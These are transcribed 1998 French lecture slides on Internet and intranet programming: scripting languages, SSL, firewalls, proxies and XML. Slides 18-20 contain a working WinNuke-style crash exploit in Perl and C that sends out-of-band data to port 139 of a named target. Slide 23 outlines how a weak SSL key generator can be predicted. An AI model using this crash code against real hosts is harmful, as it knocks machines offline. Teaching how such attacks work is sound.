1 / 34

Programmation Internet et Intranet

Programmation Internet et Intranet . S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr http://lisisun1/~sfrenot/cours/. Déroulement du cours. Architecture Web de base Architecture Web dynamique Client / Serveur de données Java Architectures distribués Les compléments.

selima
Download Presentation

Programmation Internet et Intranet

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Programmation Internetet Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr http://lisisun1/~sfrenot/cours/

  2. Déroulement du cours • Architecture Web de base • Architecture Web dynamique • Client / Serveur de données • Java • Architectures distribués • Les compléments

  3. Les approches de PII • Modèle Initial • Approche documentaire : HTML/HTTP, Internet • Avantage / Inconvénients • Modèle Avancé • Approche objets distribués : Java/Corba, Intranet • Avantage / Inconvénients

  4. Les langages de script • Langages de script • Interprété • Suivent la Loi de Moore • Objets distribués / Composants • Légers et modulaires • Portés sur de nombreux environnements • Client : Script Documentaire • JavaScript, Python, Tcl/Tk • Visuel • Serveur : Shell puissants • Perl, Tcl, Tk • Prototypage

  5. Perl • TMTOWTDI : "Tim-Toady" • 1 : Simplifier les tâches faciles • 2 : Ne pas empêcher les tâches difficiles ==> Larry Wall Linguiste Notion de langue et d'interprétation contextuelle et tardive Nom, Verbe, Singulier et Pluriel

  6. Perl • "Practical Extraction and Report Language" • Interprété • Modulaire • 446 Modules : "use module" • Simple / Complexe • Efficace • Orienté • traitement de chaînes • Accès fichiers • Accès réseau

  7. Perl : Exemple #!/usr/local/bin/perl print "Content-Type:text/html\n\n<HTML><BODY>"; open (NOTES, "notes") or die "Ouverture impossible : $!\n"; while ($ligne=<NOTES>) { ($etudiant, $note) = split(/ /, $ligne); chomp($note); $notes{$etudiant} .= $note.' ';} foreach $etudiant (sort keys %notes) { $scores,$note, $total=0; @notes = split(/ /, $notes{$etudiant}); foreach $note(@notes) { $total+=$note; $scores++;} $moyenne = $total/$scores; print "<PRE>$etudiant : $notes{$etudiant}\tMoyenne: $moyenne\n<BR>";} print "</body></html>";

  8. Perl : 5.004 • Accès aux Bases de données • DBD, DBI ==> ODBC • Accès aux Formulaires HTML • CGI.pm, HTML.pm • Accès aux variables systèmes de la machine • Porté sur Win32, Unix, MacIntosh • Communauté Internet ftp://ftp.pasteur.fr/pub/Perl/

  9. TCL/Tk • Tool Command Langage ==> Shell de programmation • ToolKit ==> Widgets de présentation Toute architecture de programmation importante utilise deux classes de langage = un langage compilé, efficace pour l'algorithmie (cobol, c, c++ ...) = un autre, interprété, utilisé comme glue pour "piloter" et personnaliser les différentes fonctionnalités de l'application ==> John Ousterhout (Sun)

  10. TCL #!/usr/local/bin/tclsh8.0 set envvars {SERVER_SOFTWARE SERVER_NAME GATEWAY_INTERFACE SERVER_PROTOCOL SERVER_PORT REQUEST_METHOD PATH_INFO PATH_TRANSLATED SCRIPT_NAME QUERY_STRING REMOTE_HOST REMOTE_ADDR REMOTE_USER AUTH_TYPE CONTENT_TYPE CONTENT_LENGTH HTTP_ACCEPT HTTP_REFERER HTTP_USER_AGENT} puts "Content-type: text/html\n" puts "<HTML><BODY>" puts"<H1>Message</H1><PRE>" puts "</PRE><H1>Environment Variables</H1>" foreach var $envvars { if {[info exists env($var)]} { puts "<DT>$var<DD>$env($var)"}}} if {[string compare $env(REQUEST_METHOD) "POST"]==0}{ set message [split [read stdin $env(CONTENT_LENGTH)] &] } else { set message [split $env(QUERY_STRING) &] } foreach pair $message { set name [lindex [split $pair =] 0] set val [lindex [split $pair =] 1] puts "$name\t= $val" } puts "</BODY></HTML>"

  11. Tk • Créer l'interface utilisateur en écrivant les scripts Tcl. • Hello, world: • button .hello -text "Hello, world" -command exit • pack .hello • Explorateur Windows : 30 lignes • Browser Web : 2000 lignes • 10x moins de code pour des choses simples.

  12. TCL / Tk • 1 Librairie de procédures C pour développeurs • L'interpréteur est pilotable en C Tcl_Interp * interp; interp = Tcl_CreateInterp(); int code; code=Tcl_Eval(interp, "set a 1"); code=Tcl_EvalFile(interp, "init.tcl"); • Créer une nouvelle commande Tcl int EqCmd(ClientData clientData, Tcl_Interp *interp, int argc, char **argv) { if (argc != 3) { interp->result = "wrong # args"; return TCL_ERROR; } if (!strcmp(argv[1], argv[2])) interp->result = "1"; else interp->result = "0"; return TCL_OK;} • L'enregistrer sur l'interpréteur Tcl_CreateCommand(interp, "eq", EqCmd, (ClientData) NULL, ...);

  13. TCL / Tk • Largement utilisé • Le plus puissant • Choisi comme langage de script de Java • Efficace • Tcl Plug-in, TCLBlend/Jacl, SpecTcl, TclHttpd, WebTk, Exmh • http://www.sunscript.com/

  14. Python • Portable, interprété, orienté objet (ABC, C, Modula-3, Icon) • Facile à apprendre • Script CGI, Administration de systèmes, Prototypage • Indépendant de la plateforme : Tk comme bibliothèque graphique, génère du byte-code • Multiniveaux : Scripts shell, ou librairies oo • Extensible: branchement sur les autres binaires (Microsoft FC, MacOS ToolBox) • Imbriquable : Script => HTML, BD, Environnement • ==> Just et Guido van Rossum (CNRI : Corporation for National Research Institute)

  15. Python : exemple #!/usr/local/lib/python import posix import string uid=`posix.getuid()` passwd=open('/etc/passwd') for line in passwd.readline(): rec=string.splitfields(line, ':') if rec[2] == uid: print 'bonjour', rec[0] break else: print 'Non trouve' #!/usr/local/lib/python import time JOUR = 24*3600 class Date: def __init__(self, date): self.date=date def __repr__(self): s=time.ctime(self.date) return s[:11]+s[-4:] def demain(self): return self+1 def hier(self): return self -1 def __add__(self, nbjours): return Date (self.date+nbjours*JOUR) __radd___=__add__ def __sub__(self, autre) if hasattr(autre, 'date'): return int (self.date/JOUR) - int(other.date/JOUR) else: return self.__add__(-other) aujourdhui=Date(time.time( )) print aujourdhui.demain( )-ajourdhui.hier( )

  16. Python • http://www.python.org • modules • chaines, Expression Régulières, posix, sockets, threads, multimédia, cryptographie, STDWIN, Internet/WWW • Utilisé pour l'interface utilisateur de Linux RedHat 5 • Exemple utilisé pour les tags OBJECT d'HTML 4

  17. Disponibilité des langages • Vitesse de développement => Economie • Utiliser les bons outils • Marché en expansion • Se faire plaisir

  18. Exemple #!/opt/bin/perl use strict; use Socket; $h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]); if (!$h) {print "Un nom de machine doit être fournit. Ex: www.microsoft.com\n";} $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); print "Adresse visée$in_addr addr $addr proto $proto\n"; socket(S, AF_INET, SOCK_STREAM, $proto) || die $!; connect(S,$addr) or die $!; $| = 1; print STDOUT "Nuking: $h:$p\n"; send S,"Au revoir",MSG_OOB; print STDOUT "Nuked!\n"; close S; STDOUT perl -MIO::Socket -e 'IO::Socket::INET-> new(PeerAddr=>"some.windoze.box")-> send("bye",MSG_OOB)'

  19. Equivalent C #include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #define dport 139 int x, s; char *str = "Bye"; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; }

  20. Equivalent C Suite void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <target>\n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); }

  21. Compléments

  22. Cryptage SSL (HTTPS) • Encodage sur une clé unique connue du client et du serveur • Le client génère aléatoirement un nombre • Puis le transfère de manière cryptée au serveur • Celui-ci encode les messages à l'aide de ce nombre ==> mais ...

  23. Crack ! global variable racine; RNG_CreeContexte( ) (secondes, microsecondes) = maintenant:! pid=process ID; ppid= parent process ID; a=mklcpr(microsecondes); b=mklcpr(pid+seconds+(ppid<<12)); racine=MD5(a,b); mklcpr(x) return ((0xDEECE66D * x +0x2BBB62DC) >> 1); MD5() RNG_GenereNombreAleatoire( ) x=MD5(seed); seed=seed+1; return x; global variable debut, clé_secrete; Creer_cle ( ) RNG_CreeContexte( ); tmp= RNG_GenereNombreAleatoire(); tmp= RNG_GenereNombreAleatoire(); debut= RNG_GenereNombreAleatoire(); clé_secrete=RNG_GenereNombreAleatoire();

  24. FireWall • FireWall : Pare-Feu • Filtrage des paquets • Table de filtrage des ports de connexion • Inbound HTTP www.interne.com • Outbound HTTP www.externe.com • Inbound telnet telnet.interne.com • Sinon interdit • Tunneling Protocol • Encodage d'une session • Reseaux privés virtuels

  25. Proxy • Cache des documents transférés • Cache mémoire sur le client • Cache disque sur le client • Serveur Cache local • Serveurs Cache nationaux • Fonctions • Disponibilité, • Maintenabilité • Pre-caching • Baisse de la charge • Difficulté :?

  26. Serveur Proxy proxy.univ-lyon1.fr 3128 function FindProxyForURL(url, host) { if (isPlainHostName(host)) return "DIRECT"; if ( dnsDomainIs( host,"univ-lyon1.fr")|| dnsDomainIs(host,"cpe.fr") || dnsDomainIs(host,"enssib.fr") || dnsDomainIs(host,"cermep.fr") || dnsDomainIs(host,"dr7.cnrs.fr") || dnsDomainIs(host,"www.dsi.cnrs.fr") || dnsDomainIs(host,"insa-lyon.fr")) return "DIRECT"; if (url.substring(0, 5) == "http:" ||url.substring(0, 7) == "gopher:") return "PROXY proxy.univ-lyon1.fr:3128; DIRECT"; if (url.substring(0, 5) == "wais:") return "PROXY web.univ-lyon2.fr:8001"; else return "DIRECT"; }

  27. Push • Anticiper la demande de l'utilisateur => Lui fournir l'information avant qu'il ne la cherche => Retourner le modèle du Web => L'utilisateur négocie une politique de push => Notion de canaux de diffusion

  28. Push • Approche diffusion Commerciale • Diffusion de canaux d'information • BackWeb : Personnalisation et Segmentation, infopacks • Pointcast (1996) : Pionnier, émetteur unique ! • Approche diffusion Logiciel • Marimba : Société (JavaFund) • Castanet : Emetteur, Tuner, Proxy, GateWay => Technologies PUSH : Bonnet, Macary, Eyrolles Informatiques

  29. Faiblesses de HTML • Pas de gestion des hyperliens • Pas de contrôle de la syntaxe • Pas d'extensibilité possible • Pas de structures • Pas de distinction sur (forme/fond) • Pas de support d'internationalisation • Pas de support pour l'échange de données • Pas de réutilisation • Contenu dynamique • Orientation Objet

  30. Langage de documents DHTML • Scripts + Feuilles de styles (JavaScript+CSS) • Approche OO d'un document • Fondé sur le DOM (Document Object Model) du W3C • Programmation plus souple • Incompatibilité Microsoft/Netscape => HTML++

  31. Meta-Langage de document XML • eXtensible Markup Langage • Représenter n'importe quel document avec des tags logiques • Langage de programmation DSSSL • Lisp (Scheme) • Documents Bien Formés • DTD du document ==> SGML -- ==> Jim Clark : SP Parser, Jade ...

  32. Architectures

  33. Evolution du Web

  34. Anneaux de diffussion • Interconnexion de sites Web • Mettre en commun des utilisateurs sur un sujet • Définir des sous-réseau logiques d'information • Site central qui diffuse les entêtes des documents • Diffusion aux abonnés d'un cgi à insérer dans les documents • ==> PilotGear

More Related